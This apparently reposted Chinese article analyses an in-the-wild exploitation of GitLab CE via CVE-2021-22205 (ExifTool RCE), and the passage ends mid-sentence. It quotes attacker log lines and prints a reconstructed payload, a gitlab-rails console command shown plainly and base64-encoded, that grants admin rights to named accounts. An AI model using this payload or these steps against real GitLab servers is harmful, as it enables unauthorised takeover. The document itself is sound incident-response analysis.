详细分析GitLab CE 已遭在野利用漏洞 (CVE-2021-22205)

最新推荐文章于 2024-10-11 17:57:18 发布

奇安信代码卫士

最新推荐文章于 2024-10-11 17:57:18 发布

阅读量3.6k

点赞数 1

文章标签： java linux python 安全 gitlab

原文链接：https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247508692&idx=1&sn=e1ec96f17d3ff7e5158a8913c5d8b362&chksm=ea9493bedde31aa8da39d4ee6d1bfbfceea83e3d15aee5c25b0aee3e8e536f67b6f58a177b72&scene=126&&sessionid=0

版权

聚焦源代码安全，网罗国内外最新资讯！

作者：Piergiovanni Cipolloni

编译：代码卫士

HN Security 团队指出，几个月前，客户在自己的 GitLab CE 服务器上发现了两个可疑的具有管理员权限的用户账户，并邀请研究人员进行调查。如下是调查结果。

（1）在2021年6月至7月间，两名用户注册了看似随机的用户名。

这种随机用户名是可能存在的，因为该GitLab CE版本默认允许用户进行注册。此外，在默认情况下注册阶段不会验证邮箱地址，因此新建用户在无需任何后续步骤的情况下可自动登录。另外也不会向管理员发送任何通知。

（2）几天后，攻击者登录到 GitLab 服务器，这两个新建用户显然并未执行其它任何操作。

因此，研究员决定调查攻击者如何将权限提升至管理员。好在日志有备份，于是研究员从如下日志文件中找到了利用步骤的第一批踪迹：

/var/log/gitlab/nginx/gitlab-access.log
/var/log/gitlab/nginx/access.log

攻击者执行的操作如下：

（a）用户注册和登录：

"GET /users/sign_up HTTP/1.1" 302 122 "" "python-requests/2.25.1" 
"GET /users/sign_in HTTP/1.1" 200 4042 "" "python-requests/2.25.1" 
"GET /users/sign_in HTTP/1.1" 200 4043 "" "python-requests/2.25.1" 
"POST /users HTTP/1.1" 302 113 "" "python-requests/2.25.1" 
"GET /dashboard/projects HTTP/1.1" 200 8185 "" "python-requests/2.25.1" 
"GET /users/sign_in HTTP/1.1" 200 4043 "" "python-requests/2.25.1" 
"POST /users/sign_in HTTP/1.1" 302 95 "" "python-requests/2.25.1" 
"GET / HTTP/1.1" 200 8068 "" "python-requests/2.25.1"

（b）滥用 GitLab API，列出所有项目（包括私密项目在内）：

"GET /api/v4/projects/?simple=yes&private=true&per_page=1000&page=1 HTTP/1.1" 200 2760 "" "python-requests/2.25.1"

（c）为清单中的第一个项目列出问题，之后上传相关附件：

"GET /user/project HTTP/1.1" 200 13567 "" "python-requests/2.25.1" 
"GET /user/project/issues/new HTTP/1.1" 200 10317 "" "python-requests/2.25.1" 
"POST /user/project/uploads HTTP/1.1" 422 24 "https://git.victim/user/project/issues/new" "python-requests/2.25.1"

这就是全部内容。攻击者并未执行其它操作。

附件上传引起了研究人员的注意，因此他们在实验室设置了一个 GitLab 服务器，试图复现在野观察到的。同时，研究人员发现最近发布的 CVE-2021-22205 的 exploit 滥用上传功能远程执行任意 OS 命令。该漏洞位于用于删除图像中元数据的开源工具 ExifTool 中，由于未能解析嵌入在所上传图像中的某些元数据，因此导致代码执行后果。

GitLab 由很多组件（Redis、Nginx等）组成。处理上传的组件时 gitlab-workhorse，它会在将最终附件上传到 Rails 之前调用 ExifTool。

于是研究人员继续深挖，结果发现Workhorse 日志中的两次上传失败证据。之后研究人员在实验室服务器上运行了公开发布的 exploit，并在日志中发现了非常类似的模式。

{"correlation_id":"cp1VzPnRzE4","filename":"exploit.jpg","level":"info","msg":"running exiftool to remove any metadata","time":"2021-09-20T10:30:04+02:00"}
{"command":["exiftool","-all=","--IPTC:all","--XMP-iptcExt:all","-tagsFromFile","@","-ResolutionUnit","-XResolution","-YResolution","-YCbCrSubSampling","-YCbCrPositioning","-BitsPerSample","-ImageHeight","-ImageWidth","-ImageSize","-Copyright","-CopyrightNotice","-Orientation","-"],"correlation_id":"cp1VzPnRzE4","error":"exit status 1","level":"info","msg":"exiftool command failed","stderr":"Error: Writing of this type of file is not supported - -\n","time":"2021-09-20T10:30:24+02:00"}
{"correlation_id":"cp1VzPnRzE4","error":"error while removing EXIF","level":"error","method":"POST","msg":"error","time":"2021-09-20T10:30:24+02:00","uri":"/uploads/user"}

遗憾的是，ExifTools 未能保存所上传图像，因此无法轻易识别出真正执行的payload。

公开exploit 使用的 payload 可执行反向shell，而攻击客户的exploit 仅仅是将两个此前注册用户的权限提升至管理员权限。那么攻击者使用的 payload 是什么样的？阅读了GitLab 文档后，研究人员写出如下一行代码，可用于从命令行操纵用户资料（包括权限）：

echo 'user = User.find_by(username: "czxvcxbxcvbnvcxvbxv");user.admin="true";user.save!' | gitlab-rails console


/usr/bin/echo dXNlciA9IFVzZXIuZmluZF9ieSh1c2VybmFtZTogImN6eHZjeGJ4Y3ZibnZjeHZieHYiKTt1c2VyLmFkbWluPSJ0cnVlIjt1c2VyLnNhdmUh | base64 -d | /usr/bin/gitlab-rails console

研究人员使用如上命令作为公开exploit 的payload，并成功获取了此前他们所创建的两名用户的管理员权限。

因此看似是提权漏洞，实际上是RCE漏洞。

在分析过程中，研究人员还发现了值得关注的几个点。似乎整个利用进程可精简为两个请求：在默认 GitLab 安装（13.10.2 及之前版本）下，无需滥用 APT 找到合法项目，也无需设立任何问题，而最重要的是无需进行任何验证：